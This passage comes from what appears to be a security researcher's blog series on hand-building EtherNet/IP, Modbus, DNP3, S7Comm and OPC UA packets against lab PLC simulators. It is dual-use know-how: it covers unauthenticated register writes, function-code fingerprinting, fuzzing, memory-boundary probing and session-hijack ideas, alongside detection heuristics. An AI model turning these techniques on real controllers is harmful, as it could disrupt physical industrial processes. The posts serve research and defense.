If you guess how a library is handling a protocol format and you are one byte off, you enter a loop of endless guessing. You burn two hours trying to tweak the library inputs, only to realize the abstraction layer won't let you bend the packet the way you need to.

The ironic part? You realize the only solution left is to craft the entire payload manually from scratch. But when you step up to an advanced protocol like EtherNet/IP, that manual path becomes an uphill battle against complex session registrations and CIP (Common Industrial Protocol) routing headers.

3. Why Automated Tools Fail in the Field

Relying solely on automated tools or commercial scanners is a massive liability in OT security.
The engineers who write automated tools build them on assumptions about what a "standard" industrial environment looks like. But in the real world, every industrial environment is shifted a little bit.
When a tool encounters a non-standard environment, one of two things happens:

The industrial device gives the tool the silent treatment.
The automated tool panics and returns a confident wrong answer.

The Takeaway:

Meeting Protocols on the Wire.

This is exactly why manually wrestling with raw sockets even when it drives you crazy is invaluable.When you meet these protocols directly on the wire, your perspective changes. When you are the one parsing the raw binary data streams, network anomalies become immediately obvious. You stop guessing what a flashing link light or a timed-out script means because you know exactly which byte in the header failed to align.

Abstractions are great for speed, but deep security research requires you to look at the raw bytes,even when they give you the silent treatment.

Abandoning Abstractions: Manually Crafting EtherNet/IP Packets Almost Broke Me

404Saint — Mon, 29 Jun 2026 21:13:20 +0000

By RUGERO Tesla (@404Saint).

There is a persistent illusion in Industrial Control Systems (ICS) security research: that high-level libraries, abstraction frameworks, or protocol tooling give you a real understanding of Operational Technology (OT) behavior.

They don’t.

They hide the architecture.

Determined to understand what actually happens when a Programmable Logic Controller (PLC) receives a control-plane command, I built an EtherNet/IP and Common Industrial Protocol (CIP) sandbox from scratch. No Scapy. No protocol wrappers. Just raw sockets, a Linux loopback interface, a cpppo simulator, and a passive monitoring tool (enip_monitor.py) capturing traffic in real time.

It looked clean on paper. Then I reached the application layer.

And things stopped behaving like theory.

The Reality of the “Industrial Abstraction Layer”

If you come from Modbus or traditional IT networking, you’re used to linear memory spaces—fixed registers, predictable offsets, and flat addressing.

EtherNet/IP and CIP discard that model entirely.

Instead, they introduce a structured object system wrapped inside multiple encapsulation layers:


+-----------------------------------------------------------+
| EtherNet/IP Encapsulation Header (24 bytes)               |
| → Session control, commands (0x0065, 0x006F)              |
+-----------------------------------------------------------+
| Common Packet Format (CPF)                                |
| → Routing, addressing, and transport segmentation         |
+-----------------------------------------------------------+
| CIP Application Layer                                     |
| → Service codes (0x4C, 0x4D, 0x10, etc.)                  |
+-----------------------------------------------------------+

To communicate with a PLC at the wire level, your code must:

Establish a session using RegisterSession (0x0065)
Wrap all subsequent requests in SendRRData (0x006F)
Encode routing information inside CPF structures
Construct symbolic or logical paths for the CIP Message Router
Ensure strict byte alignment across nested payload layers

A single mistake in any layer breaks everything silently.

The Wall: Fragmentation and State Confusion

Basic tag reads (0x4C) and writes (0x4D) against my test dataset (SAINT_DATA) worked as expected.

Then I moved into fragmented transfers using:

0x52 (Read Fragmented)
0x53 (Write Fragmented)

This is where things stopped being predictable.

I was manually tracking offsets, element counts, and buffer boundaries across multiple frames. The client appeared to execute correctly:


[+] Attribute Write Resolved: write_frag.elements
[+] Attribute Write Resolved: write_frag.offset
[+] Attribute Write Resolved: write_frag.data
[+] Attribute Write Resolved: service

But nothing changed on the wire.

No values. No errors. No feedback.

Just silent failure.

At this level, there is no stack trace. If a single byte in the CPF or path encoding is wrong, the CIP Message Router doesn’t explain itself—it simply drops the inner execution.

The Breakthrough: Observing the Wire Directly

The turning point came from running enip_monitor.py alongside my client scripts, capturing loopback traffic in real time.

Instead of trusting the client’s internal state logs, I started trusting the packet stream.

Then I triggered a deliberate failure by querying a non-existent tag (NON_EXISTENT_TAG).

The monitor immediately exposed the actual system behavior:


[!] SESSION REGISTRATION DETECTED | Handle: 0xe946f379 | Status: 0
[+] INDUSTRIAL MONITORING ALERT
Source IP   : 127.0.0.1
Session     : 0xf6d8e0cf
CIP Service : Unconnected Send (Router)
Target      : NON_EXISTENT_TAG

The PLC responded with a clear General Status Code 0x05 (Path Destination Unknown).

That moment mattered.

It confirmed the mismatch between what the client believed it sent and what the wire actually carried. Once I aligned the fragmentation offsets correctly, the payload began committing cleanly.

The system was never broken. The assumptions were.

Core Takeaway

This project proved something simple but important:

Abstraction layers do not guarantee understanding. They often remove it.

EtherNet/IP and CIP are optimized for speed, interoperability, and extensibility. In doing so, they expose a deeply structured but highly implicit execution model where correctness depends entirely on precise packet construction.

From a security perspective, this matters because:

The protocol trusts correctly formatted packets by default
Symbolic and object-level structures are externally observable
Error states leak structural information about internal routing logic
Enumeration and interaction require no authentication in many legacy configurations

Defending these systems requires working at the wire level:

Building packet-aware detection logic (e.g., Suricata/Snort rules)
Monitoring encapsulation and CIP service behavior directly
Enforcing strict network segmentation and device mode control
Deploying CIP Security where supported

Closing Thought

If you want to understand OT systems properly, don’t start with tooling.

Start with bytes.

Raw sockets are frustrating, slow, and unforgiving but they expose what every abstraction layer tries to hide.

Repository

All scripts, validation flows, and 13 supporting technical notes are documented here:

👉 https://github.com/404saint/industrial-protocol-labs/

Disclaimer

This research was conducted in a controlled, isolated laboratory environment for educational and defensive security purposes only. All protocol interaction, traffic generation, and packet analysis were performed against a local simulation stack and loopback interface.

This work is intended to support industrial cybersecurity understanding, detection engineering, and protocol analysis. It is not intended for use against production systems or any environment without explicit authorization and appropriate safety controls.

Always ensure compliance with applicable laws, operational safety requirements, and organizational policies when working with industrial control systems.

The Reality of Raw Sockets: When Your Packet Trace Lies and the PLC Stays Silent

404Saint — Tue, 23 Jun 2026 15:20:44 +0000

By RUGERO Tesla (@404Saint).

We see a lot of clean "wins" on tech blogs. People post beautifully formatted walk-throughs where every exploit chain connects on the first try, every payload returns a root shell, and the terminal looks like a movie script.

This isn't one of those posts.

This is the raw, unedited chronology of what happens when you spend hours fighting industrial protocols, getting brick-walled by application layers, and chasing down silent network failures at 2:00 AM.

1. The Trap of Protocol Assumptions (DNP3 vs. Modbus)

The cycle started yesterday. Fresh off building a custom toolkit for Modbus TCP which is a beautifully simple, stateless, and completely predictable protocol, I figured I would easily pivot the framework to handle DNP3.

I expected a similar flow. I was entirely wrong.

Five hours of continuous, grueling socket programming later, I was staring at a wall. DNP3 isn’t just a protocol; it’s an intricate architectural ecosystem. It requires dealing with complex outstation internal states, multi-layered packet fragmentations, and strict link-layer confirmations. Treating DNP3 like Modbus isn't just a minor mistake; it’s a fundamental misunderstanding of the wire.

Realizing I was fighting a losing battle without deep-diving into the complete specification first, I made a tactical decision: I parked DNP3 for a dedicated project later, stepped back, and redirected my raw Python socket architecture toward EtherNet/IP (ENIP) and the Common Industrial Protocol (CIP).

2. The Illusions of the Network Layer (The TCP ACK Trap)

By late tonight, the initial EtherNet/IP encapsulation code was ready. I fired off the initial Phase 1 registration packets (0x0065) against my local lab target running an OpenPLC instance. The handshakes were flawless, and the session handles were rotating cleanly in hexadecimal. The transport layer felt bulletproof.

Figure 1: Successful ENIP session registration (0x0065) yielding an active handle.

Then came Phase 2: Attempting a Symbolic Segment Tag Read (0x4C) over an unconnected data path (SendRRData, 0x006F). I hit enter on the execution script and watched tcpdump on my secondary monitor.

Figure 2: The network illusion— captured a flawless TCP transport-layer handshake followed by absolute application-layer silence.

On the network level, it looked like a total success:

The script pushed the raw custom ENIP payload to port 44818.
The target container immediately shot back a TCP . ACK.

But on my main terminal, everything just froze.

[*] Phase 02: Building and delivering Vendor class 0x64 read requests...
[-] Wire execution crashed. Context: timed out

Five seconds of total silence, followed by a socket timeout exception. This is the ultimate illusion of network testing. The host OS kernel swallowed the packet and acknowledged it at the transport layer, but the actual PLC application layer went completely dark. No TCP Reset (RST). No CIP error frames. Just an empty void.

3. Demolishing the Target (Inside the OpenPLC Logs)

I spent the next hour questioning my own code. When you're crafting raw binary payloads via Python’s struct.pack(), a single misaligned byte, a broken word size, or an incorrect item count in the Common Packet Format (CPF) wrapper will cause an industrial parser to drop the ball.

I tore the script apart, rebuilt the hexadecimal mapping from scratch, and even stripped out the proprietary Rockwell tag-read service down to a completely generic, standard CIP Identity Object discovery path (Class 0x01, Instance 0x01, Service 0x0E).

# Re-aligning the CPF wrapper and Encapsulation Header
rr_data_packet = struct.pack(
    '<HHII8sI IHHHHHH',
    0x006F, 24, handle, 0, b'SAINT404', 0,  # Encap Header
    0, 0, 2, 0x0000, 0, 0x00B2, 8          # CPF Data
) + cip_data

I ran it again. Same result. Another 5-second hang.

At this point, you have to stop assuming your tool is broken and start looking at the target's internal state. I dropped out of my code editor and pulled the live stdout logs from the target runtime container:

docker logs openplc-lab

There, buried in the container timestamps, was the exact smoking gun:

2026-06-23T14:05:56.165168622Z ENIP: Received unsupported EtherNet/IP Type
2026-06-23T14:05:56.165170130Z Server: Error writing response: -1

The realization was incredibly clarifying. The script wasn't broken. The packet wasn't misaligned. OpenPLC’s lightweight, modular EtherNet/IP listener simply does not support Rockwell-style proprietary symbolic tag reading or standard unconnected explicit message routing (UCMM).

Instead of cleanly replying over the wire with a standard CIP protocol error frame (like a normal PLC would), OpenPLC’s backend code hit an unhandled exception path, threw an internal error (-1), and dropped the socket completely without writing a single byte back to my network interface.

4. Upgrading the Arsenal

In offensive security and asset fingerprinting, a silent application-layer drop is incredibly valuable telemetry. It tells you exactly who and what is on the other side of the wire.

A real, production-grade Allen-Bradley controller or a high-fidelity simulator will return either tag data or a structured CIP error frame (Path Segment Error).
An OpenPLC instance will choke internally, log an unhandled error, and leave the client script hanging until a timeout.

The ultimate lesson? Hobbyist software teaches you about hobbyist bugs. Fighting with a stripped-down implementation only maps out its internal software limitations rather than showing you how real-world OT systems respond to packet manipulation.

To truly reverse-engineer industrial connection managers, Forward_Open loops, and complex CIP state machines, you need a target that acts like the real thing.

Tomorrow, the lightweight containers are getting parked. We are upgrading the lab environment to high-fidelity target harnesses.

I Removed the High-Level Frameworks and Hand-Crafted My Own Modbus TCP Toolkit From Raw Sockets

404Saint — Tue, 16 Jun 2026 19:20:27 +0000

By RUGERO Tesla (@404Saint).

Industrial protocols always felt like an intentional black box to me.

Most tutorials, guides, and bootcamps follow a predictable script: you pip install a heavy, third-party framework, invoke an abstracted wrapper function, and print a sanitized result. But very few actually pull back the curtain to explain what is happening down on the wire. When you rely completely on vendor abstraction layers, you completely miss the underlying engineering quirks—and core implementation flaws that define how these daemons actually process packets, handle exceptions, and fail.

So, I decided to do something about it. I turned off the libraries, opened up a raw Python socket, and spent several days manually reverse-engineering and implementing Modbus TCP from the ground up.

The goal wasn't to write a production-ready Modbus client. The goal was to understand exactly how Programmable Logic Controllers (PLCs) talk at the byte level.

By stripping away the third-party fluff, my research quickly progressed from reading a single baseline register to building an automated capability fingerprinting loop, discovering hard silent memory boundaries, fuzzing input validation parsing, and engineering high-fidelity detection heuristics that blue teams can deploy in live Operational Technology (OT) environments.

Why Modbus TCP?

If you step onto a modern factory floor, water treatment facility, or power grid control room, you will find Modbus driving critical infrastructure data loops. It is the connective tissue for:

Programmable Logic Controllers (PLCs)
Human-Machine Interfaces (HMIs)
Supervisory Control and Data Acquisition (SCADA) runtimes
Building Automation Sensors

Despite being decades old, its utter simplicity and interoperability keep it firmly entrenched in modern automated control stacks. That exact structural simplicity also makes it the definitive playground for anyone trying to bridge the gap between pure software exploitation and physical physical-layer control routing.

The Simulation Topology

To execute this safely without running into real-world hardware damage or kernel routing hell, I set up a minimal simulation sandbox:

+-----------------------+
|     Attacker Host     |
|  (Raw Python Suite)   |
+-----------+-----------+
            |
            | TCP Port 502
            | (Raw Layer Zero Stream)
            |
+-----------v-----------+
|    OpenPLC Runtime    |
|    (Target Server)    |
+-----------------------+

The Target: OpenPLC Runtime Engine with its local Modbus TCP server daemon enabled and listening on standard port 502.
The Analysis Workstation: Arch Linux workspace leveraging tcpdump background streams and Wireshark for direct frame validation.

Instead of calling pymodbus or letting Scapy automatically format my payloads, I manually built every command block out of the standard Python socket and struct modules.

Down in the Wire: Protocol Anatomy

Before writing a single line of executable automation code, I had to dissect the structural layout of a standard Modbus transaction. On the wire, a basic request looks like a flat string of hexadecimal data:

00 01 00 00 00 06 01 03 00 00 00 01

When you map the offsets out byte-by-byte, the packet splits cleanly into a 7-byte MBAP Header (Modbus Application Protocol) and a downstream PDU (Protocol Data Unit):

00 01 | Transaction Identifier: Synchronized sequential number tracking for request/response pairing.
00 00 | Protocol Identifier: Hardcoded to zero specifically for Modbus TCP networks.
00 06 | Length: The precise numerical count of all remaining bytes inside the frame.
01 | Unit Identifier: Slave/routing destination index for the controller node.
03 | Function Code: The direct operational command (e.g., FC03 - Read Holding Registers).
00 00 | Starting Address: The memory index offset to begin polling from.
00 01 | Quantity of Registers: The exact number of 16-bit word data blocks requested.

Once this memory geometry made sense, translating it into raw, hard-packed binary network data streams became trivial.

Phase 1: Passive Data Polling (`FC03` & `FC01`)

Reading Holding Registers (`FC03`)

My first operational script focused on assembling an FC03 transaction loop to pull analog configuration values out of the PLC data block.

My Hex Request: 00 01 00 00 00 06 01 03 00 00 00 01
Target Response: 00 01 00 00 00 05 01 03 02 00 00

Seeing the clean, non-abstracted raw bytes echo back onto my socket interface was the exact moment the protocol stopped looking like magic and started looking like a transparent data pipe.

Reading Discrete Coils (`FC01`)

I implemented FC01 shortly after to verify how binary bit flags are handled. Tracking the bit-packed, Least Significant Bit (LSB) format across the wire proved how lightweight and highly predictable industrial status checking really is under normal operation.

Phase 2: Active State Manipulation (`FC06` & `FC16`)

Reading variables lets you monitor a process; writing to them lets you change physical reality.

Single Variable Injections (`FC06`)

I extended my socket core to handle Function Code 06 (Write Single Register), firing a value of 1337 straight into holding register offset 0. An immediate readback command confirmed that the variable shifted instantly in runtime space. It was a stark reminder of how easily an unauthenticated network injection can alter a controller's parameters.

Bulk Payload Overwrites (`FC16`)

Single points are fine, but bulk manipulation is where things get interesting. Using FC16 (Write Multiple Registers), I pushed an entire array sequence into memory simultaneously:

[100, 200, 300, 400, 500]

The server accepted the payload instantly, confirming that complex block states can be rewritten in a single socket transaction.

Phase 3: Capability Fingerprinting & Recon

With standard data I/O paths verified, I wanted to map out the complete, unadulterated functional footprint of the OpenPLC engine without consulting vendor documentation. I built an automated capability mapping loop (modfingerprint.py) to systematically scan the command spectrum from 0x01 directly through 0x7F.

The fingerprint execution mapped out the active operational layout:

[+] FC01 Supported (Read Coils)
[+] FC02 Supported (Read Discrete Inputs)
[+] FC03 Supported (Read Holding Registers)
[+] FC04 Supported (Read Input Registers)
[+] FC05 Supported (Write Single Coil)
[+] FC06 Supported (Write Single Register)
[+] FC15 Supported (Write Multiple Coils)
[+] FC16 Supported (Write Multiple Registers)

Any unsupported function codes fired outside this specific baseline were cleanly intercepted by the target daemon and rejected via standard Modbus error frames: Exception 01 (Illegal Function).

Probing for Metadata (`FC43`)

I tried to pull asset tracking data like vendor tags, firmware levels, and hardware naming schemes using Function Code 43 (Modbus Encapsulated Interface Type 0x0E). The OpenPLC daemon dropped the packet with an Illegal Function exception, successfully protecting its asset signature from basic network profiling tools.

Phase 4: Fuzzing, Exceptions, and Memory Boundaries

Exception Isolation Under Stress

To test the resilience of the target parser, I deliberately pumped malformed frames, incorrect lengths, out-of-bounds quantities, and invalid functions straight into the daemon interface.

The PLC correctly generated spec-compliant exceptions:

01 - Illegal Function: Triggered by out-of-range commands.
02 - Illegal Data Address: Triggered by requests targeting dead space.
03 - Illegal Data Value: Triggered by skewed parameters.

The most notable observation here? The background runtime service handled the error parsing gracefully. I couldn't crash or hang the daemon; it isolated the bad inputs and kept the socket loop completely stable.

Automated Memory Boundary Discovery

I built a specialized optimization loop (modboundary.py) that leveraged a binary-search style algorithm to trace the exact ceiling of the accessible holding register memory space.

Instead of sequential polling, the script rapidly converged on offset 8191 as the absolute maximum boundary (confirming an overall block allocation of exactly 8,192 address points, or 16 KB of volatile RAM mapping). Attempting to read index 8192 instantly triggered an Illegal Data Address error.

An Unexpected Implementation Quirk

During the discrete coil fuzzing run (FC05), I caught a clear deviation from the official Modbus specification documentation. The formal standard explicitly states that only two fixed values are valid for changing coil states: 0xFF00 (ON) and 0x0000 (OFF). Any other values must throw an exception.

However, the target parser cleanly accepted and mirrored back non-compliant arbitrary hexadecimal strings like 0x0001, 0x1234, and 0xFFFF, treating any non-zero value as a logical TRUE. Finding where active software deployments break away from standard documentation parameters is exactly why bare-metal research pays off.

The Systemic Security Reality

The single biggest takeaway from this research wasn't finding a software bug. It was the fundamental security posture of the protocol itself.

Throughout every phase of this research lab:

Authentication: Non-Existent.
Authorization: Non-Existent.
Encryption: Non-Existent.

The operational parameters are absolute: if an endpoint can achieve basic IP connectivity to TCP/502, it inherits total master capability to query data blocks, execute arbitrary writes, fuzz data vectors, and manipulate the controller's state at will. This reinforces a clear architectural lesson: legacy industrial protocols are built for raw performance and interoperability, meaning security must be aggressively enforced externally through rigid network segmentation, whitelist firewalls, and active logging.

Engineering High-Signal Detections

Because Modbus scanning and state injection techniques are highly structured, an adversary cannot map or abuse a device silently. Their activity creates distinctive network artifacts that look completely different from the highly cyclical, flat baseline of standard industrial automation processes.

Blue teams can construct highly effective detection rules by monitoring for these explicit behavioral indicators:

Function Code Sweeps: Track clients issuing multiple distinct or sequential function code requests (scanning from FC01 onward) within a brief time frame.
Boundary Profiling Loops: Signature patterns making alternating, binary-search style mathematical jumps across address offsets followed by targeted clusters of Exception 02 frames.
Exception Storm Monitoring: Immediate alerting on sharp quantitative spikes in exception codes (01, 02, or 03) from a single node, pointing directly to active fuzzing engines or automated reconnaissance scanners.
Asymmetric State Modification: Whitelisting write payloads (FC05, FC06, FC15, FC16) strictly to legitimate HMI runtime assets and dedicated engineering terminals, while dropping and logging any writes coming from enterprise jump hosts or unmapped IP spaces.

Exploring the Master Architecture

The complete codebase for this research including the custom Python packet-crafting tools, behavioral anomaly indicators, and the complete step-by-step lab reproduction guide—is fully open-sourced inside my new master portfolio repository.

You can pull the blueprints, run the code, and test your own environments here:

Industrial Protocol Labs

This lab started as a baseline attempt to demystify a protocol and turned into one of the most educational security milestones I've built. If you are serious about understanding OT/ICS security engineering, turn off your third-party abstraction frameworks, build a small simulation lab, spin up raw sockets, and write the packets yourself. The wire doesn't lie.

Disclaimer: All testing and research documented in this post was executed exclusively within an isolated, authorized laboratory environment using OpenPLC for educational and defensive security engineering research purposes. Do not target production infrastructure, utility control loops, or live automated environments without formal authorization and explicit safety controls.

I Stripped Away the Vendor Software and Hand-Crafted 5 Industrial Handshakes From Scratch

404Saint — Tue, 09 Jun 2026 17:39:31 +0000

By RUGERO Tesla (@404Saint).

A few weeks back, I wrote an article about how easy it is to take control of an unauthenticated PLC if you have network access. But pointing a script at a port and watching a variable change is only step one. It doesn’t tell you how the communication actually functions when it hits the wire.

If you read standard OT security textbooks, they give you high-level theoretical overviews. If you look at vendor documentation, they hide everything inside closed-source graphical interfaces.

I got tired of the abstraction. I wanted to see the raw bytes.

So, I built a lab environment called raw-industrial-protocols using nothing but lightweight Python socket twins running over a local Linux loopback interface. No heavy simulators. No proprietary vendor suites. Just standard network sockets injecting raw hex streams directly onto the wire to mimic, capture, and dissect the exact binary handshakes used by the critical infrastructure powering our world.

This is Layer Zero. And it's the trailer for a massive new standalone series where we will deeply study discovery, exploitation, defensive analysis, and protocol hardening for every major industrial suite.

Here is what happens when you drop beneath the software layer and look at the raw bytes.

The Industrial Wire Protocol Matrix

Before diving into the payloads, we have to look at how these stacks align. Most IT engineers assume industrial traffic is completely alien. In reality, it's just structured payloads riding on top of standard OSI transport models:

Protocol	Default Port	Transport Layer	Framing Envelope	Baseline Security
Modbus/TCP	`502`	TCP	MBAP Header (7 Bytes)	Explicitly None
DNP3	`20000`	TCP / UDP	Custom EPA Link/Transport Layer	Cleartext / Optional Auth
EtherNet/IP	`44818`	TCP / UDP	Encapsulation Header (24 Bytes)	Cleartext Session Tracking
S7Comm	`102`	TCP	TPKT (RFC 1006) $\rightarrow$ COTP (ISO 8073)	Cleartext by Design
OPC UA	`4840`	TCP	Native Binary Layer	Configurable (None to Sign/Encrypt)

Phase 1: Modbus/TCP — The Defacto Standard

Modbus/TCP is the grandfather of industrial automation. Engineered in the late 70s for serial links and later wrapped in a TCP envelope, it strips away old serial CRC checksums and introduces a 7-byte MBAP (Modbus Application Protocol) header.

When a client queries a PLC to read 10 holding registers starting at memory offset 0, it pushes this exact 12-byte payload into the raw TCP stream:

00 01 00 00 00 06 01 03 00 00 00 0A

00 01 (Transaction ID): Sequential identifier to pair requests and responses.
00 00 (Protocol ID): Fixed zero-value reserved strictly for Modbus/TCP.
00 06 (Length): A 16-bit integer confirming 6 bytes follow.
01 (Unit ID): Routing drop index to cross hardware gateways.
03 (Function Code): The explicit instruction mapping to Read Holding Registers.
00 00 (Starting Address): Memory offset register zero.
00 0A (Quantity): Requests exactly 10 contiguous registers.

Phase 2: DNP3 — The Grid Anchor

The Distributed Network Protocol (DNP3) runs our electrical grids and water systems. Because it was designed to maintain reliable telemetry over unstable radio links, it implements a highly complex, rugged EPA (Enhanced Performance Architecture) stack. This structure maps out an explicit custom Data Link and pseudo-Transport layer directly over standard TCP packets.

A primary master node checking the basic Link Status of an outstation drops this precise 10-byte structure onto the wire:

05 64 05 C9 00 00 01 00 4D 50

05 64 (Start Bytes): Fixed magic hex header marking the start of a valid DNP3 frame.
05 (Length): Identifies that 5 user data bytes follow (excluding the trailing CRC block).
C9 (Control Byte): Bitmask declaring frame parameters; 0xC9 triggers a primary link status request.
00 00 / 01 00 (Addresses): 16-bit Little-Endian addresses mapping the Destination RTU ($0$) and Source Master ($1$).
4D 50 (Data Link CRC): Crucial algebraic checksum validating the header before processing continues.

Phase 3: EtherNet/IP & CIP — The Session Hijack Surface

EtherNet/IP takes the Common Industrial Protocol (CIP) and adapts it for modern industrial enterprise routing. To handle communication safely, it uses a fixed 24-byte Encapsulation Header that sits on top of all commands to manage sessions.

Default implementations pass tracking numbers and session handles in completely unauthenticated cleartext. If you are on-path, you can sniff these registration handles out of the air and hijack the connection entirely.

Before any industrial tag parsing can occur, the engineering client must run a Register Session routine, sending a 28-byte layout:

65 00 04 00 00 00 00 00 00 00 00 00 41 41 41 41 41 41 41 41 00 00 00 00 01 00 00 00

65 00 (Command ID): Maps explicitly to the Register Session instruction primitive.
04 00 (Length): Indicates 4 trailing data bytes follow the header layout.
00 00 00 00 (Session Handle): Empty tracking block. The physical controller generates this unique token and populates it in the response.
41 41 41 41 41 41 41 41 (Sender Context): Fixed 8-byte diagnostic tracking phrase that the receiving PLC must echo back completely unchanged.

Phase 4: S7Comm — Proprietary Transport Nesting

S7Comm is the core protocol powering Siemens S7-300 and S7-400 programmatic lines. It communicates through a nested ISO transport layout to enforce safety boundaries. It doesn't write directly to raw TCP. Instead, it embeds your data inside a TPKT (RFC 1006) frame acting as a packetizer, which then wraps around a COTP (ISO 8073) connection management block.

The absolute baseline initialization frame requests a COTP Connection Request (CR). The 22-byte string looks like this:

03 00 00 16 11 E0 00 00 00 01 00 C0 01 0A C1 02 01 00 C2 02 02 00

03 00 00 16 (TPKT Header): Preloads Version 3 and maps a total upcoming envelope volume of 22 bytes ($0x0016 = 22$).
11 (COTP Length): Confirms 17 parameter description bytes follow.
E0 (PDU Type): Declares this frame as an explicit Connection Request.
C2 02 02 00 (Destination TSAP): The crucial structural target variable mapping the targeted PLC rack and slot placement configuration directly.

Phase 5: OPC UA — The Plaintext Backdoor

OPC UA (Open Platform Communications Unified Architecture) is the modern IT/OT cryptographic bridge. It discards legacy layouts, register boundaries, and old Windows-bound DCOM dependencies to offer an advanced, object-oriented information model. It brings robust security concepts into industrial environments, including X.509 certificate exchanges and strict cryptographic signing algorithms.

But here is the field reality: During commissioning, active troubleshooting, or in older brownfield updates, engineers often configure the security policy parameter profile to None.

When this happens, the entire secure object-oriented stream falls back to completely unencrypted plaintext, exposing raw session tokens and node structural definitions to anyone sniffing the wire.

Before any secure channel configuration occurs, the client fires a native binary Hello (HEL) string spanning a standard 32-byte layout:

48 45 4C 46 20 00 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 00 00

48 45 4C (Message Type): ASCII text indicators translating to HEL.
46 (Chunk Type): ASCII character F (Final chunk), signaling a self-contained transmission window.
20 00 00 00 (Message Size): Little-Endian unsigned integer establishing an explicit 32-byte frame layout boundary ($0x20 = 32$).
00 00 01 00 (Buffer Sizes): Standard 32-bit little-endian capacity properties negotiating buffer windows up to $65,536\text{ bytes}$.

The Troubleshooting Hell: The Alignment Check Mismatch

When you hand-craft low-level injection scripts using raw hex strings, you don't get the luxury of automated libraries handling data formatting for you. You hit the real friction points.

During development, I spent hours staring at tshark capturing frames completely cleanly, but refusing to render the application-layer dissection tree for OPC UA. It would drop the protocol mapping entirely and fall back to displaying a generic, raw TCP Data payload block.

The Lesson:

Network protocol analysis engines use strict validation rules. In my initial script configuration, I manually declared an internal size field block of 32 bytes (\x20\x00\x00\x00), but physically only appended 28 bytes of parameters to the raw socket array.

The engine's protocol parser calculates lengths rigidly. When it detected an alignment mismatch between the stated header length and the actual wire byte count, it flagged the packet as malformed and dropped the deep application tree to preserve data integrity.

Knowing how to troubleshoot alignment errors down to the physical byte level is a critical skill for deep protocol fuzzing and industrial vulnerability research.

What's Next?

This laboratory establishes the absolute foundation of our protocol analysis roadmap. Now that we can communicate with these stacks natively at Layer Zero without relying on heavy vendor software wrappers, we can start moving higher up the chain.

If you want the full step-by-step setup guides, the functional Python server/client twins, and the complete low-level reference manual, the entire project is open-source and ready to clone:

👉 Get the Code and Lab Manuals: github.com/404saint/raw-industrial-protocols

In the upcoming installments of this series, we will take each of these five protocols individually and run comprehensive deep dives exploring active network discovery, technical exploitation paths, deep packet defensive monitoring, and production protocol hardening.

Dogfooding MEA Against My Zero-Cost Homelab (And the Troubleshooting Hell Along the Way

404Saint — Wed, 03 Jun 2026 21:55:16 +0000

By RUGERO Tesla (@404Saint).

It’s Wednesday, and if you’re trying to maintain a consistent writing streak, the worst thing that can happen isn't a lack of ideas—it's equipment failure. My mouse died right in the middle of a deep-dive protocol breakdown session. By the time I sorted a replacement, my weekly timeline was completely shot.

Instead of forcing a massive architectural breakdown against a ticking clock, I decided to do something more chaotic: dogfood my own open-source security tool.

A while back, I released MEA (Modbus Exposure Analyzer), a passive behavioral analysis tool designed to fingerprint Modbus devices, calculate register entropy, and determine if an exposed internet facing asset is a real physical PLC or a simulator/honeypot.

I decided to point MEA directly at my local zero-cost industrial homelab (built inside Docker with OpenPLC and Fuxa HMI) to see if my own code could accurately spot its own creator's simulated environment.

What followed was a glorious, comedic masterclass in Linux infrastructure debugging, library dependency hell, and the ultimate facepalm moment. Here is exactly what happened.

The Setup: Industrial Lab vs. Passive Analyzer

The target environment is simple but effective:

OpenPLC running inside a Docker container, exposing Modbus TCP on port 502.
Fuxa HMI containerized on port 1881, mapping tags to the PLC.
MEA, pulling register samples over multiple cycles to evaluate entropy and behavior.

The core thesis of MEA is straightforward: Real industrial processes have physical noise. Temperature drifts, flow meters fluctuate, pressure cycles change. This creates statistical noise and register drift. Simulators and idle devices, however, are statistically flat.

Phase 1: Entering Troubleshooting Hell

Before I could even scan the target, the homelab decided to humble me.

1. The Firewalld Zone Collision

I fired up the terminal, checked my docker instances, and was immediately greeted with a socket connection error. The Docker daemon refused to start.

Running manual daemon debugging (sudo dockerd) exposed the culprit:

failed to start daemon: Error initializing network controller: error creating default "bridge" network: ZONE_CONFLICT: 'docker0' already bound to 'trusted'

On Arch/EndeavourOS, firewalld had aggressively snatched the docker0 interface and dropped it into the trusted zone, blocking the Docker engine from binding its default bridge network.

The Fix: Strip it out, reload the firewall, and restart the daemon:

sudo firewall-cmd --permanent --zone=trusted --remove-interface=docker0
sudo firewall-cmd --reload
sudo systemctl start docker

2. Pymodbus Dependency Hell

With Docker up, openplc_target and fuxa_hmi were finally showing as Up. I pulled down a fresh clone of MEA, ran python3 mea.py, entered 127.0.0.1, and... CRASH.

Connection unexpectedly closed 0.000 seconds into read of unbounded read bytes

This led down a rabbit hole of modern Python package refactoring. Pymodbus has been aggressively rewriting its API syntax across minor version releases:

In older versions, pointing to a specific Modbus Slave/Unit ID required the argument unit=1.
Then it shifted to slave=1.
In the latest v3.11+/v4.0 iterations, it shifted yet again to device_id=1.

Furthermore, passing unmapped positional arguments to modern Pymodbus clients causes immediate runtime type errors. The parameters must be explicitly keyworded. The internal library logic was solid, but it was crashing against local database size configurations.

3. The Ultimate Facepalm

After stabilizing the library parameters, the connection was still getting violently dropped (ConnectionResetError: [Errno 104] Connection reset by peer).

I wrote a quick one-liner to manually fuzz the registers and see why port 502 was slamming the door shut. The code was structurally flawless. Why was the socket dying?

I opened up the browser, loaded the OpenPLC Web UI at http://127.0.0.1:8080, and saw it:

The PLC runtime program wasn't even running. 💀

The master listener on port 502 was up because the container was alive, but because the compiled ladder/ST program wasn't active, there was no memory map allocated to handle incoming Modbus Function Code 03 requests.

I clicked "Start PLC", flipped back to the terminal, and finally ran the code.

Phase 2: The Telemetry Data

With the runtime program finally processing logic, MEA executed flawlessly across all 5 collection windows, gathering 50 holding registers per sample.

Here is the exact raw JSON output generated by the scan:

{
    "target": "127.0.0.1",
    "ip_info": {
        "ip": "127.0.0.1",
        "type": "private",
        "hostname": "localhost",
        "org": null
    },
    "exposure": {
        "exposure_level": "Low",
        "reasons": [
            "Private network"
        ]
    },
    "behavior": {
        "classification": "Static Device",
        "confidence": "High",
        "entropy": {
            "entropy": 0.0,
            "unique_values": 1
        },
        "change_rate": 0.0
    },
    "risk": {
        "overall_risk": "Medium",
        "risk_score": 2,
        "reasoning": [
            "No register changes detected"
        ]
    }
}

Phase 3: The Verdict

The tool worked exactly as intended, and it called me out completely.

Zero Entropy (entropy: 0.0): MEA calculated a mathematical entropy score of absolute zero. Over multiple read cycles, every single holding register returned identical, unmoving bits.
